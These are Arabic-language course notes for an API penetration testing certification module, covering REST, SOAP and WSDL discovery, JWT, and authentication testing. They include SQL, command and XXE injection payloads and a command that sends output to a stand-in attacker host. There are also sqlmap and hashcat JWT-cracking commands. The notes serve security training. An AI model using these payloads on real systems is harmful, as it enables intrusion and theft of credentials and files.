Module 04: اختبار اختراق APIs

Web Services هي مكوّنات برمجية صُمِّمت لتسهيل التواصل وتبادل البيانات بين التطبيقات المختلفة عبر الإنترنت — تتيح للتطبيقات المتباينة التعاون حتى لو كانت على منصات أو لغات مختلفة أو خوادم مختلفة.

1فهم بنية وأنواع APIs — REST وSOAP وGraphQL
2التعرّف على مخاطر أمن الـ APIs الشائعة وتأثيرها
3تطبيق منهجية منظَّمة لاختبار اختراق الـ APIs
4إجراء Reconnaissance لاكتشاف Endpoints
5اختبار آليات المصادقة وثغرات الـ JWT
6تحديد واستغلال ثغرات الـ Injection في الـ APIs

Web Services مقابل Web Applications

الجانبWeb ServicesWeb Applications
الهدفتسهيل تبادل البيانات بين التطبيقاتتقديم خدمات مباشرة للمستخدم النهائي
تفاعل المستخدملا واجهة — Machine-to-Machine فقطواجهة مستخدم سهلة للبشر
البروتوكولSOAP, REST, XML-RPC, JSON-RPCHTTP/HTTPS بشكل أساسي
تركيز الأمانحماية البيانات أثناء النقل والتحكّم في الوصولAuthentication, Authorization, Data Validation, XSS, SQLi...
أمثلةPayPal API، Weather Data ServicesAmazon، Gmail، Facebook

Web Services مقابل APIs — الفرق الدقيق

⬦ الفرق الجوهري

Web Services: فئة أوسع من التقنيات والبروتوكولات لتسهيل التواصل وتبادل البيانات بين الأنظمة المختلفة — بتوفَّر طريقة موحَّدة للتطبيقات المختلفة للتفاعل مع بعضها.

APIs: مجموعة قواعد وأدوات تتيح للتطبيقات المختلفة التواصل مع بعضها. بتوفَّر وصولاً لوظائف أو بيانات تطبيق ما للمطوّرين. All Web Services are APIs, but not all APIs are Web Services.


01تطبيقات الـ Web Services — XML-RPC وJSON-RPC وSOAP وREST

XML-RPC

⬦ XML-RPC (1998)

بروتوكول بسيط وخفيف لتمكين التواصل بين التطبيقات. بيعمل بإرسال HTTP Requests تستدعي method واحدة مُنفَّذة على النظام البعيد. بيشفَّر البيانات بـ XML — قابل للقراءة من البشر والآلات. يُعدّ سلفاً للـ SOAP و REST الحديثين.

xml — xml-rpc request / response
<!-- REQUEST -->
<?xml version="1.0"?>
<methodCall>
  <methodName>sampleMethod</methodName>
  <params>
    <param><value><int>42</int></value></param>
  </params>
</methodCall>

<!-- RESPONSE -->
<?xml version="1.0"?>
<methodResponse>
  <params>
    <param><value><string>Hello, World!</string></value></param>
  </params>
</methodResponse>

JSON-RPC

⬦ JSON-RPC

مشابه لـ XML-RPC لكن بيستخدم JSON بدل XML. أكثر قابلية للقراءة البشرية وبيأخذ بيانات أقل للتواصل. بات شائعاً في Web Development وMicroservices Architectures.

الـ Request object يحتوي ثلاث خصائص دائماً:

1method: اسم الـ Method المُستدعاة
2params: Array من المعاملات
3id: Request ID لمطابقة الـ Responses
json — json-rpc request
{
  "method": "getUserProfile",
  "params": [{"userId": 42}],
  "id": 1
}

SOAP

⬦ SOAP (Simple Object Access Protocol)

بروتوكول لتبادل المعلومات المهيكَّلة. الخلف الطبيعي لـ XML-RPC. معروف بـ Strong Typing ومجموعة ميزات واسعة تشمل الأمان والموثوقية ودعم المعاملات. ممكن يأتي مع WSDL declaration تصف كيفية استخدامه.

xml — soap request / response
<!-- SOAP REQUEST -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <web:sampleMethod>
      <web:inputParameter>42</web:inputParameter>
    </web:sampleMethod>
  </soapenv:Body>
</soapenv:Envelope>

<!-- SOAP RESPONSE -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <web:sampleMethodResponse>
      <web:result>Hello, World!</web:result>
    </web:sampleMethodResponse>
  </soapenv:Body>
</soapenv:Envelope>

REST (RESTful APIs)

⬦ REST (Representational State Transfer)

REST مش بروتوكول أو تقنية — هو Architectural Style لتصميم تطبيقات الشبكة. مجموعة مبادئ وقيود توجَّه تصميم الـ Web Services والـ APIs. بيستخدم HTTP كـ Communication Protocol. بيستخدم JSON أو XML أو أي صيغة نقل رسائل.

HTTP Methodالفعلمثال
GETاسترجاع مورد أو قائمة مواردGET /api/books — قائمة الكتب | GET /api/books/1 — كتاب محدَّد
POSTإنشاء مورد جديدPOST /api/books — إنشاء كتاب جديد
PUTتغيير حالة مورد أو استبدالهPUT /api/books/1 — استبدال كتاب
DELETEحذف موردDELETE /api/books/1 — حذف كتاب
PATCHتعديل جزئي لموردPATCH /api/books/1 — تعديل حقل واحد

مقارنة البروتوكولات الأربعة

المعيارXML-RPCJSON-RPCSOAPREST
صيغة البياناتXMLJSONXMLJSON / XML / Any
التعقيدبسيطبسيط جداًمعقَّدبسيط
الأمان المدمجلالاWS-SecurityHTTPS + OAuth
Stateless؟نعمنعمممكننعم (بالتعريف)
الاستخدام الشائعLegacy SystemsMicroservicesEnterprise/BankingModern Web APIs
الوصف——WSDLOpenAPI/Swagger

02WSDL — لغة وصف خدمات الويب ومكوّناتها

إيه هو WSDL؟

⬦ WSDL — Web Services Description Language

لغة مبنية على XML لوصف وظيفة وواجهة الـ Web Service. مستندات WSDL بتعمل كعقود بين مزوَّدي الخدمة ومستهلكيها — بتحدَّد كيفية استخدام الـ Web Service. بتُستخدَم بالتوافق مع SOAP لتعريف وتوثيق الـ SOAP-based Web Services.

WSDL Documents بيكون ليها تعريفات مجرَّدة وملموسة:

AAbstract: بتصف إيه اللي الخدمة بتعمله — العمليات، المدخلات، المخرجات، ورسائل الخطأ
CConcrete: بتضيف معلومات عن كيفية التواصل وأين الوظيفة متاحة

مكوّنات WSDL الأساسية

Types
<types>
بيعرَّف أنواع البيانات المستخدَمة في الخدمة. بيضم عادةً XML Schema Definitions (XSD) تحدَّد بنية وقيود بيانات المدخلات والمخرجات.
Message
<message>
بيعرَّف بنى البيانات المستخدَمة في الرسائل المتبادَلة. كل رسالة ممكن تحتوي أجزاء متعددة، كل جزء له اسم ونوع يرجع للـ Types.
PortType
<portType> / Interface
بيصف العمليات التي تدعمها الخدمة. كل عملية تقابل Method أو Function ممكن للعميل يستدعيها. في WSDL 2.0 اسمه Interface.
Binding
<binding>
بيحدَّد كيف عمليات الخدمة مرتبطة ببروتوكول معيّن (زي SOAP على HTTP). بيعرَّف البروتوكول وترميز الرسائل وعناوين الـ Endpoints.
Service
<service>
بيوفَّر معلومات عن الخدمة نفسها: الاسم وعنوان الـ Endpoint (الـ URL اللي العملاء يصلوا منه للخدمة).
Operation
<operation>
بيمثَّل فعل محدَّد تقدر الخدمة تنفَّذه. بيحدَّد اسم العملية وبنية الـ Input/Output Messages وأي Fault Messages ممكن تحصل.
📌 WSDL 1.1 vs 2.0

WSDL 1.1: يستخدم portType، message، وtypes. لا يزال الأكثر انتشاراً رغم قِدَمه.
WSDL 2.0: يستبدل portType بـ interface، أزال عنصر message — الـ interface elements بتشير مباشرة لعناصر الـ Schema.


03آليات المصادقة وOWASP WSTG

أنواع آليات المصادقة

01
🔑 Password-Based
المستخدم يقدَّم Username وPassword للتحقق من الهوية. الأسلوب التقليدي — الأكثر شيوعاً والأضعف أمنياً لوحده.
02
📱 MFA — Multi-Factor
يجمع عاملين أو أكثر: شيء تعرفه (كلمة مرور)، شيء تملكه (جهاز/Token)، شيء أنت عليه (Biometric).
03
📲 2FA — Two-Factor
نوع محدَّد من MFA يتطلَّب عاملين بالضبط — غالباً كلمة مرور + OTP عبر SMS أو Authenticator App.
04
🎫 Token-Based
يستخدم Tokens (JWT, OAuth) تُصدَر بعد الـ Login وتُستخدَم للطلبات اللاحقة — يقلَّل الحاجة لإعادة إدخال Credentials.
05
🌐 SSO — Single Sign-On
تسجيل دخول واحد للوصول لتطبيقات متعددة بدون إعادة إدخال Credentials — يستخدم SAML أو OAuth.
06
🔢 OTP — One-Time Password
كلمة مرور مؤقتة تُرسَل عبر SMS أو Email لجلسة تسجيل دخول واحدة. غالباً مع أساليب مصادقة أخرى.

اختبار المصادقة — OWASP WSTG

اختبار المصادقة هو فحص واستغلال نقاط الضعف في آليات التحقق من الهوية — Login Forms، Password Reset، MFA، وAccount Lockouts.

الاسمIDالوصف
Credentials over Encrypted ChannelWSTG-ATHN-01التحقق من أن بيانات الاعتماد تُرسَل بأمان عبر HTTPS
Default CredentialsWSTG-ATHN-02فحص إذا كانت بيانات الاعتماد الافتراضية ما زالت مستخدَمة
Weak Lock Out MechanismWSTG-ATHN-03تقييم آليات الإقفال لمنع هجمات Brute-Force
Bypassing Authentication SchemaWSTG-ATHN-04تحديد عيوب تسمح بتجاوز المصادقة كلياً
Vulnerable Remember PasswordWSTG-ATHN-05تقييم أمان ميزة "تذكَّرني" وما تكشفه من بيانات
Browser Cache WeaknessesWSTG-ATHN-06التأكد من عدم تخزين بيانات حساسة في Cache المتصفح
Weak Password PolicyWSTG-ATHN-07فحص سياسة كلمات المرور — التعقيد وانتهاء الصلاحية
Weak Auth in Alternative ChannelsWSTG-ATHN-08اختبار القنوات البديلة (APIs، Mobile) لممارسات أمنية أضعف

04Token-Based Authentication وJSON Web Tokens

Token-Based Authentication — المفهوم

بدل الحفاظ على حالة الجلسة على الـ Server، يتم إصدار Tokens للعملاء وتمريرها ذهاباً وإياباً للمصادقة على الطلبات. هذه الـ Tokens تحتوي هوية المستخدم أو التطبيق والصلاحيات ذات الصلة — تتيح مصادقة سلسة وقابلة للتوسيع.

أنواع الـ Tokens

1Bearer Tokens: صيغة بسيطة تمنح الوصول عند تقديمها. يجب أن تبقى سرية — قصيرة الأجل لتقليل المخاطر.
2JWT (JSON Web Tokens): Self-contained، يضم Header وPayload وSignature. بدون حاجة لـ Session Storage على الـ Server.
3OAuth Tokens: Access Tokens (للوصول) + Refresh Tokens (للتجديد بدون إعادة تسجيل دخول).

أماكن تمرير الـ Token — Token Placement

المكانالمثالالأمانالتوصية
Authorization HeaderAuthorization: Bearer <token>🟢 الأفضل✓ الطريقة المُفضَّلة — منفصل عن الـ URL واللوجات
Query Parameters?access_token=<token>🔴 خطر⚠ ممكن يظهر في الـ Browser History والـ Logs
Request Body{"token": "<token>"}🟡 مقبولللـ POST فقط — لا تستخدم مع GET
CookiesSet-Cookie: auth_token=<token>🟡 مقبولمع HttpOnly + Secure + SameSite لمنع CSRF
Custom HeadersX-Auth-Token: <token>🟡 مقبولأقل قياسية — لأنظمة ذات احتياجات خاصة

JSON Web Tokens (JWT) — البنية الكاملة

⬦ JWT

طريقة مضغوطة وURL-safe وself-contained لنقل المعلومات بأمان بين الأطراف. يُستخدَم على نطاق واسع للـ Authentication والـ Authorization وتبادل المعلومات في التطبيقات الحديثة. يتكوَّن من ثلاثة أجزاء مفصولة بنقطة.

JWT Encoded (Base64URL) eyJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiIxMjM0NTY3ODkwIn0 . SflKxwRJSMeKKF2Q HEADER بيانات الـ Token نفسه { "alg": "HS256", "typ": "JWT" } خوارزمية التوقيع + النوع PAYLOAD (Claims) Base64 Encoded — NOT Encrypted! { "sub": "1234567890", "name": "John Doe", "admin": true, "exp": 1716454560 } SIGNATURE يضمن سلامة الـ Token HMACSHA256( b64(header) + "." + b64(payload), secret )
JWT = HEADER . PAYLOAD . SIGNATURE — الترتيب ثابت دايماً

JWT Claims — أنواع البيانات في الـ Payload

Registered
Claims مُعرَّفة مسبقاً
iss: من أصدر الـ Token
sub: موضوع الـ Token (User ID)
aud: المستلم المُستهدَف
exp: وقت انتهاء الصلاحية
iat: وقت الإصدار
nbf: لا يصلح قبل هذا الوقت
Public
Claims العامة
بيعرَّفها المطوَّر — لازم تكون فريدة لتجنَّب التعارض.
role: دور المستخدم (admin, user)
email: البريد الإلكتروني
permissions: ["read", "write"]
Private
Claims الخاصة
Claims متفَّق عليها بين الأطراف المتبادِلة. غير قياسية — خاصة بالتطبيق.
department: "sales"
cartId: "abc123"
⚠ JWT ليس مُشفَّراً افتراضياً

الـ Payload في JWT بيكون Base64 Encoded فقط — مش مُشفَّراً. يعني أي شخص يمتلك الـ Token يقدر يقرأ محتواه. لا تضع فيه معلومات حساسة زي كلمات المرور. الـ Signature بتضمن عدم التلاعب لكن لا تخفي المحتوى.

Token-Based Auth Flow

Client Browser / App POST /login {user, password} Auth Server Validates credentials Signs JWT Issues Token JWT Token Authorization: Bearer JWT Resource Server Validates JWT Signature Checks exp, iss, aud 200 OK Protected Resource ⚡ Client يخزَّن الـ JWT → بيبعثه في كل Request → Server بيتحقَّق منه Stateless
JWT Flow — لا Session Storage على الـ Server، كل المعلومات في الـ Token نفسه

05WSDL Disclosure وMethod Enumeration

لماذا WSDL Disclosure مهم؟

الوصول لملف WSDL هو الخطوة الأولى في اختبار أمان الـ Web Services — بيديك القائمة الكاملة للـ Operations والـ Types المسموح بها من الـ Server، والـ Syntax الصحيح، والـ Inputs والـ Outputs وكل المعلومات اللي محتاجها لتنفيذ هجمات ناجحة.

اكتشاف خدمات SOAP والـ Endpoints

1
تحديد SOAP Service والـ Endpoints

قبل ما تعدَّد ملفات WSDL، لازم تحدَّد SOAP Web Service والـ Endpoints. استخدم Burp Suite أو dirb للبحث عن Endpoints متاحة.

2
إضافة WSDL Suffixes للـ URL
bash — wsdl discovery
# إضافة Suffixes للـ Service URL
http://target.com/service?wsdl
http://target.com/service.wsdl
http://target.com/service?disco

# أمثلة عملية
curl http://target.com/api/soap?wsdl
curl http://target.com/ws/service.wsdl
curl http://target.com/webservice?disco

# استخدام Burp Suite Intruder مع قائمة Suffixes
# أو ffuf/gobuster لـ WSDL file discovery
ffuf -u http://target.com/FUZZ -w wsdl-paths.txt
3
تحليل ملف WSDL

بعد إيجاد الـ WSDL، افحص: العمليات المتاحة (portType)، أنواع البيانات المقبولة (types)، تنسيق الطلبات (binding)، وعنوان الـ Endpoint (service). هذا يكشف الـ Hidden Methods واحتمالية وجود ثغرات.

4
استدعاء الـ Hidden Methods

بعض الـ Methods غير موثَّقة في الواجهة الرسمية لكنها موجودة في الـ WSDL. استدعها مباشرة بـ SOAP Requests مُشكَّلة يدوياً أو بـ SoapUI.

★ Methodology Tip

دايماً افحص WSDL قبل اختبار أي SOAP Service. ممكن يكشف Methods بصلاحيات إدارية ما بتظهرش في الـ Documentation الرسمي — Hidden Admin Functions هي من أكثر النتائج قيمة في SOAP Testing.


06ثغرات الـ Injection في الـ APIs

SQL Injection في الـ APIs

نفس مبادئ SQLi في تطبيقات الويب تنطبق على الـ APIs — الفرق هو أن الـ Payload بيتمرَّر في JSON Body أو Query Parameters أو Headers بدل HTML Form Fields.

http — sql injection via api
# SQL Injection في JSON Body
POST /api/users/login HTTP/1.1
Content-Type: application/json

{"username": "admin'--", "password": "anything"}

# SQL Injection في Query Parameter
GET /api/products?id=1 OR 1=1-- HTTP/1.1

# SQL Injection في SOAP Request
<web:getUser>
  <web:userId>1' OR '1'='1</web:userId>
</web:getUser>

# اختبار مع UNION-based
GET /api/user?id=1 UNION SELECT username,password,NULL FROM users--

# Error-based detection
GET /api/item?id=1'
# Response: SQL syntax error → vulnerable!

Command Injection في الـ APIs

بعض الـ APIs بتمرَّر Input مباشرةً لـ OS Commands — بدون Sanitization. أي Parameter يُستخدَم في System Call ممكن يكون نقطة دخول.

http — command injection via api
# Command Injection في JSON Body
POST /api/ping HTTP/1.1
Content-Type: application/json

{"host": "127.0.0.1; id"}
{"host": "127.0.0.1 && cat /etc/passwd"}
{"host": "127.0.0.1 | whoami"}

# Command Injection في Query Parameter
GET /api/lookup?domain=example.com;id HTTP/1.1

# Blind Command Injection (time-based)
{"host": "127.0.0.1; sleep 5"}
# لو الـ Response تأخَّر 5 ثوان → vulnerable!

# Blind Command Injection (OOB)
{"host": "127.0.0.1; curl http://ATTACKER/$(id)"}
⚠ API-Specific Injection Points

في اختبار الـ APIs، افحص دايماً: JSON Body parameters، Query String parameters، HTTP Headers (X-Forwarded-For, User-Agent)، Path Parameters (/api/users/{id})، وSOAP Envelope elements. أي مكان بيقبل Input من المستخدم هو نقطة اختبار محتملة.

أدوات اختبار الـ API Injection

Burp
Burp Suite
Intercept وتعديل API Requests، استخدام Repeater لاختبار الـ Payloads يدوياً، وScanner للـ Automated Detection.
SQLmap
sqlmap
يدعم JSON Body واختبار APIs مباشرة. استخدم --data لتمرير JSON Body و--level للعمق.
SoapUI
SoapUI / Postman
لاختبار SOAP وREST APIs. SoapUI بيسمح بـ Security Scanning مع Payloads جاهزة.
bash — sqlmap api testing
# SQLmap مع JSON Body
sqlmap -u "http://target.com/api/login" \
       --data='{"username":"*","password":"test"}' \
       --level=5 --risk=3 \
       --headers="Content-Type: application/json"

# SQLmap مع Bearer Token
sqlmap -u "http://target.com/api/users?id=1" \
       --headers="Authorization: Bearer JWT_TOKEN" \
       --dbs

Cheat Sheet مرجعي

WSDL Discovery Paths

bash — wsdl discovery
# Suffixes الشائعة
?wsdl          .wsdl          ?disco
?WSDL          /wsdl          /service.wsdl
?wsdl=1        /api?wsdl      /ws?wsdl

# Curl مباشر
curl -s "http://target.com/service?wsdl"

# ffuf discovery
ffuf -u "http://target.com/FUZZ" \
     -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Burp Suite Intruder
# Payload: قائمة WSDL suffixes على Base URL

JWT Decode / Encode

bash — jwt manipulation
# فك تشفير JWT (بدون التحقق من الـ Signature)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
echo "eyJzdWIiOiIxMjM0NTY3ODkwIn0" | base64 -d

# Python — فك تشفير JWT كامل
python3 -c "
import base64, json
parts = 'YOUR.JWT.TOKEN'.split('.')
for p in parts[:2]:
    padded = p + '=' * (4 - len(p)%4)
    print(json.dumps(json.loads(base64.urlsafe_b64decode(padded)), indent=2))
"

# أدوات JWT Online
# jwt.io          — فك تشفير وتشفير
# jwt-cracker     — Brute Force على Secret
# hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# اختبار JWT "alg: none" attack
# تعديل الـ Header لـ {"alg": "none"} وحذف الـ Signature

REST API Testing Checklist

الاختبارما تفحصهالأداة
Endpoint Discoveryffuf/gobuster على API paths, Swagger/OpenAPIffuf, Burp
Auth BypassWSTG-ATHN-04: تجربة بدون Token أو بـ JWT منتهيBurp Repeater
JWT Attacksalg:none، ضعف Secret، تعديل Claimsjwt_tool, hashcat
IDORتغيير IDs في Path/Body للوصول لموارد تانيةBurp Intruder
SQL InjectionPayloads في JSON Body والـ Query Paramssqlmap, Burp
Command InjectionOS commands في ParametersManual, Commix
Rate Limitingهل الـ API بتحجب عند كثرة الطلبات؟Burp Intruder
CORSOrigin header manipulationBurp Repeater

SOAP Testing Workflow

bash — soap testing
# 1. اكتشاف WSDL
curl http://target.com/service?wsdl -o service.wsdl

# 2. استخراج Operations من WSDL
grep -i "operation name" service.wsdl

# 3. بناء SOAP Request يدوياً
curl -X POST http://target.com/service \
  -H "Content-Type: text/xml" \
  -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <getUser><id>1</id></getUser>
        </soap:Body>
      </soap:Envelope>'

# 4. SQL Injection في SOAP
<id>1' OR '1'='1</id>

# 5. XXE في SOAP
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<id>&xxe;</id>

JWT Claims Reference

Claimالاسمالوصفالنوع
issIssuerمن أصدر الـ TokenRegistered
subSubjectموضوع الـ Token (User ID)Registered
audAudienceالمستلم المقصودRegistered
expExpirationوقت انتهاء الصلاحية (Unix timestamp)Registered
iatIssued Atوقت الإصدارRegistered
nbfNot Beforeلا يصلح قبل هذا الوقتRegistered
roleRoleدور المستخدم — admin/userPublic
emailEmailالبريد الإلكترونيPublic
permissionsPermissionsقائمة الصلاحياتPublic

الخلاصة العامة للموديول

الموديول ده بنى أساساً شاملاً لاختبار اختراق الـ APIs — من فهم بروتوكولات الـ Web Services، لـ WSDL disclosure وتعداد الـ Methods، لاختبار المصادقة وثغرات الـ JWT، وصولاً لـ Injection Vulnerabilities.

$ cat ./module04_summary.txt

APIs هي نقاط الدخول الأكثر انتشاراً في التطبيقات الحديثة. فهم بروتوكولات الاتصال وآليات المصادقة وأماكن الـ Injection المحتملة هو أساس كل اختبار اختراق لتطبيقات الويب الحديثة.

★ Exam Mindset

في اختبار الـ eWPTXv3: دايماً ابحث عن WSDL أولاً في SOAP Services → افحص JWT Claims ونوع الـ Algorithm → جرَّب Injection في كل Parameter بما فيهم JSON Body → افحص Auth Headers بدون Token وبـ Expired Token. المنهجية هي المفتاح.


نهاية نوتس الموديول الرابع — eWPTXv3: API Penetration Testing